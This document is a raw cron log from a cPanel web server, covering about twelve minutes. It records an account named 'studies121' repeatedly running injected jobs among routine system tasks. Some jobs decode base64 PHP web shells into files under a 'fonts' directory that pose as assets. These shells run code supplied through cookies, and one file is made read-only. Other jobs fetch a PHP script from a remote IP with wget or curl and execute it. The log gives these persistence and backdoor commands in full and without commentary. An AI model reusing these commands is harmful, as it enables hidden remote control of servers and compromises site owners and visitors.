Sep 12 22:26:01 ip-184-168-122-23 CROND[2508]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 22:27:01 ip-184-168-122-23 CROND[2683]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 22:27:01 ip-184-168-122-23 CROND[2685]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 22:27:01 ip-184-168-122-23 CROND[2687]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 22:27:01 ip-184-168-122-23 CROND[2686]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 22:28:01 ip-184-168-122-23 CROND[2774]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 22:28:01 ip-184-168-122-23 CROND[2775]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 22:28:01 ip-184-168-122-23 CROND[2776]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 22:28:01 ip-184-168-122-23 CROND[2777]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 22:28:01 ip-184-168-122-23 CROND[2779]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 22:29:01 ip-184-168-122-23 CROND[2877]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 22:29:01 ip-184-168-122-23 CROND[2879]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 22:29:01 ip-184-168-122-23 CROND[2878]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 22:29:01 ip-184-168-122-23 CROND[2880]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 22:30:01 ip-184-168-122-23 CROND[2980]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 12 22:30:01 ip-184-168-122-23 CROND[2983]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 22:30:01 ip-184-168-122-23 CROND[2989]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 22:30:01 ip-184-168-122-23 CROND[2990]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 22:30:01 ip-184-168-122-23 CROND[2986]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 22:30:01 ip-184-168-122-23 CROND[2987]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 22:30:01 ip-184-168-122-23 CROND[2985]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 22:30:01 ip-184-168-122-23 CROND[2991]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 22:31:01 ip-184-168-122-23 CROND[3107]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 22:31:01 ip-184-168-122-23 CROND[3108]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 22:31:01 ip-184-168-122-23 CROND[3111]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 22:31:01 ip-184-168-122-23 CROND[3112]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 12 22:31:01 ip-184-168-122-23 CROND[3109]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 22:32:01 ip-184-168-122-23 CROND[3301]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 22:32:01 ip-184-168-122-23 CROND[3303]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 22:32:01 ip-184-168-122-23 CROND[3306]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 22:32:01 ip-184-168-122-23 CROND[3304]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 22:32:02 ip-184-168-122-23 CROND[3305]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 22:33:01 ip-184-168-122-23 CROND[3390]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 22:33:01 ip-184-168-122-23 CROND[3393]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 22:33:01 ip-184-168-122-23 CROND[3394]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 22:33:01 ip-184-168-122-23 CROND[3392]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 22:34:01 ip-184-168-122-23 CROND[3492]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 22:34:01 ip-184-168-122-23 CROND[3495]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 22:34:01 ip-184-168-122-23 CROND[3496]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 22:34:01 ip-184-168-122-23 CROND[3494]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 22:34:01 ip-184-168-122-23 CROND[3497]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 22:35:01 ip-184-168-122-23 CROND[3607]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 22:35:01 ip-184-168-122-23 CROND[3610]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 22:35:01 ip-184-168-122-23 CROND[3613]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 22:35:01 ip-184-168-122-23 CROND[3614]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 22:35:01 ip-184-168-122-23 CROND[3612]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep 12 22:35:01 ip-184-168-122-23 CROND[3617]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 22:35:01 ip-184-168-122-23 CROND[3616]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 22:35:01 ip-184-168-122-23 CROND[3615]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 12 22:36:01 ip-184-168-122-23 CROND[3784]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 22:36:01 ip-184-168-122-23 CROND[3788]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 22:36:01 ip-184-168-122-23 CROND[3787]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 22:36:01 ip-184-168-122-23 CROND[3789]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 22:36:01 ip-184-168-122-23 CROND[3786]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 22:37:01 ip-184-168-122-23 CROND[3960]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 22:37:01 ip-184-168-122-23 CROND[3962]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 22:37:01 ip-184-168-122-23 CROND[3963]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 22:37:01 ip-184-168-122-23 CROND[3964]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 22:38:01 ip-184-168-122-23 CROND[4049]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 22:38:01 ip-184-168-122-23 CROND[4051]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 22:38:01 ip-184-168-122-23 CROND[4052]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
